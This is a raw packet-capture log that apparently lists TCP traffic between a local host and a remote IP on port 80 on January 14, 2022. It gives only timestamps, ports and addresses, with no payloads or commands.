Jan 14, 2022 20:23:44.498246908 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498256922 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498275042 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498281956 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498291969 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498310089 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498326063 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498327017 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498343945 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498351097 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498363972 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498382092 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498383045 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498400927 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498420000 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498435974 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498435974 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498454094 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498462915 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498471975 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498488903 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498491049 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498506069 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498523951 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498539925 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498548031 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498558044 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498574972 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498580933 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498593092 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498600006 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498610973 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498630047 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498631954 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498647928 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498665094 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498665094 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498683929 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498701096 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498708010 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498739004 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.515908003 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.515933037 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.515950918 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.515968084 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.515985966 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.516001940 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.516015053 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.516038895 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.516057014 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.516068935 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.516093016 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.516122103 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.535927057 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.535947084 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.535964012 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.535980940 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.535996914 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536014080 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536031008 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536034107 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536048889 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536066055 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536067009 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536082983 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536091089 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536101103 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536108971 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536119938 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536138058 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536142111 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536154985 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536171913 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536173105 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536190987 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536207914 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536216974 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536226034 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536242962 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536261082 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536261082 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536279917 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536288977 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536302090 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536319971 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536323071 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536345959 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536367893 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536370039 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536391973 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536410093 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536410093 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536429882 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536447048 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536451101 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536464930 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536482096 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536482096 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536499023 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536516905 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536526918 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536534071 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536550999 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536562920 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536567926 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536587000 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536597013 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536603928 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536623001 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536628008 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536639929 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536657095 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536660910 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536674976 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536690950 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536695004 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536709070 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536725998 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536727905 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536742926 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536761045 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536776066 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.536782980 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.536813974 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.553976059 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554003954 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554025888 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554047108 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554080963 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554186106 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554209948 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554231882 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554251909 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554272890 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554286003 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554295063 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554316998 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554372072 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554394007 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554414988 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554435015 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554455996 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554462910 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554476976 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554497957 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554507017 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554528952 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554549932 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554558992 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554590940 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554605961 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554626942 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554649115 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554670095 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554691076 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554709911 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554718018 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554747105 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554769039 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554771900 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554796934 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554814100 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554819107 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554841042 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554861069 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554862022 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554884911 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554904938 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554923058 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554925919 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554948092 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554955959 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554970980 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.554989100 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.554992914 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.555015087 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.555031061 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.555052042 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.555083036 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.575717926 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.575764894 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.575800896 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.575836897 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.575870991 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.575871944 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.575907946 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.575913906 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.575943947 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.575980902 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576016903 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576052904 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576086998 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576122046 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576147079 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.576158047 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576179028 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.576195002 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576231956 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576266050 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576302052 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576339006 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576373100 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576401949 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.576409101 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576447010 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576466084 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.576483011 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576519012 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576555014 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576591015 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576615095 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.576627970 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576666117 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576675892 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.576703072 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576739073 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576773882 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576808929 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576845884 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576883078 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576920033 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576955080 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.576955080 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576993942 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.576996088 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.577030897 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577065945 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577101946 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577137947 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577174902 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577210903 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577244997 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577280045 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.577282906 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577318907 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577330112 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.577354908 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577390909 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577425957 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.577665091 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.594788074 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595010042 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595052004 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595074892 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.595092058 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595129967 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595169067 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595208883 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595227957 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.595247030 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595287085 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595324993 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595355988 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.595365047 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595395088 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.595415115 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595453024 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595493078 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595531940 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595544100 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.595572948 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595613003 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595654011 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595691919 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595701933 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.595732927 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595772028 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595810890 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595850945 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595860958 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.595889091 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595927954 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.595938921 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.595968008 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596005917 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596057892 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596070051 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.596098900 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.596106052 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596146107 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596184969 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596189976 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.596225023 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596262932 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596302986 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596343040 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596347094 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.596379995 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596419096 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596472025 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596473932 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.596529007 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596575975 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596616983 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596636057 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.596657038 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596698046 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596708059 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.596740007 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596787930 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.596793890 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596837044 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596884012 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.596884966 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.596944094 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597001076 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597053051 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.597055912 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597114086 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597163916 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.597170115 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597230911 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597285986 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597332954 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.597337961 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597383022 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597421885 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597469091 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.597471952 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597515106 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597553015 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597592115 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597604990 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.597634077 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597675085 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597713947 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597718954 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.597747087 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.597753048 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597791910 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597830057 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597913980 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597959042 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.597963095 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.597997904 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598037958 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598038912 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.598077059 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598114967 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.598153114 CET	80	49855	8.209.70.0	192.168.2.3
